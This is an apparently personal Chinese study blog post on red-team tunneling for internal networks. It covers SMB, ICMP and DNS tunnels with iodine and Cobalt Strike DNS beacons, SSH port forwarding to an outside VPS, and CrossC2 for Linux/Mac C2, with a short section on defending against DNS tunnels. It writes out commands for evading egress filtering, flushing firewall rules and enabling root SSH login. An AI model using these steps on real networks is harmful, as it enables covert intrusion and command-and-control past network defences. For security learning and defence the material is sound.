【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac

本文涉及的产品
云解析 DNS,旗舰版 1个月
.cn 域名,1个 12个月
全局流量管理 GTM,标准版 1个月
简介: 【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac

CS不支持linux主机上线

这里禁用了所有tcp端口,依旧可以ping通,以及dns解析成功


SMB隧道&通讯&上线

判断:445通讯

通过端口扫描是否开放445端口进行判断

上线:借助通讯后绑定上线 详见往期文章

通讯:直接SMB协议通讯即可


ICMP隧道&通讯&上线

判断:ping命令

能ping通说明可以使用icmp隧道

上线:见往期文章

通讯:其他项目(icmpsh icmptunnel)

https://github.com/esrrhs/spp

https://github.com/bdamele/icmpsh

https://github.com/esrrhs/pingtunnel


DNS隧道&通讯&上线

判断:windows:nslookup linux:dig


1、上线环境:内网主机只出网DNS协议数据,解决上线

-域名申请及配置

-监听器创建及配置


-后门绑定监听器及生成

image.png

CS建立DNS隧道上线

mode dns-txt

sleep 0

2、通讯环境:

有些鸡肋

内网主机只出网DNS协议数据,解决通讯

判断出网:nslookup www.baidu.com

项目工具:https://github.com/yarrick/iodine

iodine/ˈaɪədaɪn/单词的意思就是碘 原子序数为 53,53 也是 DNS 服务对应的端口号

安装

yum install iodine   #centos
apt-get intall iodine #ubuntu


-服务器:设置密码xiaodi并创建虚拟IP及绑定域名指向 这里演示linux服务端,windows服务端下载地址 https://code.kryo.se/iodine/


iodined -f -c -P whgojp 192.168.0.1 ns1.whgojp.top -DD


sudo iodined -f -c -P whgojp 192.168.0.1 ns1.whgojp.top -DD

-f 在前台运行

-c 不检查传入请求的客户端 IP 地址

-P 客户端与服务端之间的连接密码

-D 调试级别,-D 表示第一级,-DD 表示第二级,依此类推

192.168.0.1 是自己自定义的局域网虚拟 IP 地址。


设置密码whgojp并创建虚拟IP及绑定域名指向

-客户端:连接密码whgojp并绑定域名指向

windows 演示

iodine -f -M 200 -P whgojp ns1.whgojp.top

70990b0cdd6a77f57eb133b366a14b6f_d6a721e71cb642f1a3c8e739a81fe8b8.png

直接执行会报错,windows客户端可以直接使用编译好的windows版本,同时需要安装TAP网卡驱动程序。也可以下载OpenVPN,安装时只选择TAP Virtual Ethernet Adapter,安装后服务器上就会多出一块“TAP-Wndows ADApter V9”的网卡

1c9b0b772f59a8acf9956bc8761ee803_7bfee7d91faa455dba6c6e412d5682cd.png


都能在对方电脑上安装程序了,还要这样大费周折

双方都新增了一个网卡(dns、TAP-9),从而建立了通道

ping不通是因为靶机上有防火墙

image.png

windows平台iodine建立DNS隧道连接


linux演示

未开防火墙

-尝试通讯尝试连接:

ssh kali@192.168.0.2

这里我尝试ssh连接,但是立即命令中断,可能是DNS配置问题


SSH隧道&通讯

判断:ssh连接

1、上线:

由于CS无SSH协议监听器配置,无法上线

2、通讯:

由于SSH协议存在于Linux系统,跳板机必须Linux


iptables -F /* 清除所有规则 /

iptables -A INPUT -p tcp --dport 22 -j ACCEPT /允许包从22端口进入/

iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /允许从22端口进入的包返回/

iptables -A OUTPUT -p udp --dport 53 -j ACCEPT / 域名解析端口,一般不开 /

iptables -A INPUT -p udp --sport 53 -j ACCEPT / 域名解析端口,一般不开 /

iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /允许本机访问本机/

iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT

iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /允许所有IP访问80端口/

iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT

iptables-save > /etc/sysconfig/iptables /保存配置/

iptables -L / 显示iptables列表 */

开启ssh协议登录:

vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart

本地:入站封

将本地访问 10.10.10.132的流量转发至公网vps 1234端口上

ssh -CfNg -R 1122:10.10.10.132:8080 root@47.94.130.xx
curl http://127.0.0.1:1122

image.png


SSH隧道流量转发远程vps-信息探针


远程:出站封

将本地访问10.10.10.132的流量转发至本地的1234的端口上

ssh -CfNg -L 1234:10.10.10.132:8080 root@10.10.10.146
curl http://127.0.0.1:1234

同上输入146密码,访问本地(146)1234端口,


防御DNS隧道攻击的方法

禁止网络中任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。

虽然没有人会将TXT解析请求发送给DNS服务器,但是邮件服务器/网关会这样做,因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的TXT请求。

跟踪用户的DNS查询次数,如果达到阈值,就生成相应的报告


控制上线-插件-Linux&Mac&IOS&Android

项目:https://github.com/gloxec/CrossC2

面向Linux Mac IOS Android系统上线支持

1、插件使用

2、命令使用

使用参考:

https://gloxec.github.io/CrossC2/zh_cn/

1、下载对应版本加载器和CNA插件

2、上传加载器文件和本地加载CNA插件

3、修改CNA插件配置路径及上传Key文件

4、使用命令或插件绑定HTTPS监听器生成


使用CS4.7版本没有搭建成功


待续

03c0b2017f8f044421ee1aeddf947144_6ed3f01306d340d3be00f6f6e14abc98.png


参考:

https://zhuanlan.zhihu.com/p/379021936

https://www.cnblogs.com/micr067/p/12263337.html

相关文章
|
3月前
|
域名解析 网络协议 安全
在Linux中,想在命令行下访问某个网站,并且该网站域名还没有解析,如何做?
在Linux中,想在命令行下访问某个网站,并且该网站域名还没有解析,如何做?
|
18天前
|
机器学习/深度学习 安全 大数据
揭秘!企业级大模型如何安全高效私有化部署?全面解析最佳实践,助你打造智能业务新引擎!
【10月更文挑战第24天】本文详细探讨了企业级大模型私有化部署的最佳实践,涵盖数据隐私与安全、定制化配置、部署流程、性能优化及安全措施。通过私有化部署,企业能够完全控制数据,确保敏感信息的安全,同时根据自身需求进行优化,提升计算性能和处理效率。示例代码展示了如何利用Python和TensorFlow进行文本分类任务的模型训练。
56 6
|
3月前
|
网络协议 Linux Docker
在Linux中,如何指定dns服务器,来解析某个域名?
在Linux中,如何指定dns服务器,来解析某个域名?
|
12天前
|
算法 Linux 定位技术
Linux内核中的进程调度算法解析####
【10月更文挑战第29天】 本文深入剖析了Linux操作系统的心脏——内核中至关重要的组成部分之一,即进程调度机制。不同于传统的摘要概述,我们将通过一段引人入胜的故事线来揭开进程调度算法的神秘面纱,展现其背后的精妙设计与复杂逻辑,让读者仿佛跟随一位虚拟的“进程侦探”,一步步探索Linux如何高效、公平地管理众多进程,确保系统资源的最优分配与利用。 ####
46 4
|
13天前
|
缓存 负载均衡 算法
Linux内核中的进程调度算法解析####
本文深入探讨了Linux操作系统核心组件之一——进程调度器,着重分析了其采用的CFS(完全公平调度器)算法。不同于传统摘要对研究背景、方法、结果和结论的概述,本文摘要将直接揭示CFS算法的核心优势及其在现代多核处理器环境下如何实现高效、公平的资源分配,同时简要提及该算法如何优化系统响应时间和吞吐量,为读者快速构建对Linux进程调度机制的认知框架。 ####
|
14天前
|
机器学习/深度学习 人工智能 安全
TPAMI:安全强化学习方法、理论与应用综述,慕工大、同济、伯克利等深度解析
【10月更文挑战第27天】强化学习(RL)在实际应用中展现出巨大潜力,但其安全性问题日益凸显。为此,安全强化学习(SRL)应运而生。近日,来自慕尼黑工业大学、同济大学和加州大学伯克利分校的研究人员在《IEEE模式分析与机器智能汇刊》上发表了一篇综述论文,系统介绍了SRL的方法、理论和应用。SRL主要面临安全性定义模糊、探索与利用平衡以及鲁棒性与可靠性等挑战。研究人员提出了基于约束、基于风险和基于监督学习等多种方法来应对这些挑战。
31 2
|
1月前
|
弹性计算 网络协议 Ubuntu
如何在阿里云国际版Linux云服务器中自定义配置DNS
如何在阿里云国际版Linux云服务器中自定义配置DNS
|
1月前
|
安全 Java 编译器
Java 泛型深入解析:类型安全与灵活性的平衡
Java 泛型通过参数化类型实现了代码重用和类型安全,提升了代码的可读性和灵活性。本文深入探讨了泛型的基本原理、常见用法及局限性,包括泛型类、方法和接口的使用,以及上界和下界通配符等高级特性。通过理解和运用这些技巧,开发者可以编写更健壮和通用的代码。
|
1月前
|
安全 网络安全 Android开发
深度解析:利用Universal Links与Android App Links实现无缝网页至应用跳转的安全考量
【10月更文挑战第2天】在移动互联网时代,用户经常需要从网页无缝跳转到移动应用中。这种跳转不仅需要提供流畅的用户体验,还要确保安全性。本文将深入探讨如何利用Universal Links(仅限于iOS)和Android App Links技术实现这一目标,并分析其安全性。
216 0
|
3月前
|
图形学 开发者 存储
超越基础教程:深度拆解Unity地形编辑器的每一个隐藏角落,让你的游戏世界既浩瀚无垠又细节满满——从新手到高手的全面技巧升级秘籍
【8月更文挑战第31天】Unity地形编辑器是游戏开发中的重要工具,可快速创建复杂多变的游戏环境。本文通过比较不同地形编辑技术,详细介绍如何利用其功能构建广阔且精细的游戏世界,并提供具体示例代码,展示从基础地形绘制到植被与纹理添加的全过程。通过学习这些技巧,开发者能显著提升游戏画面质量和玩家体验。
147 3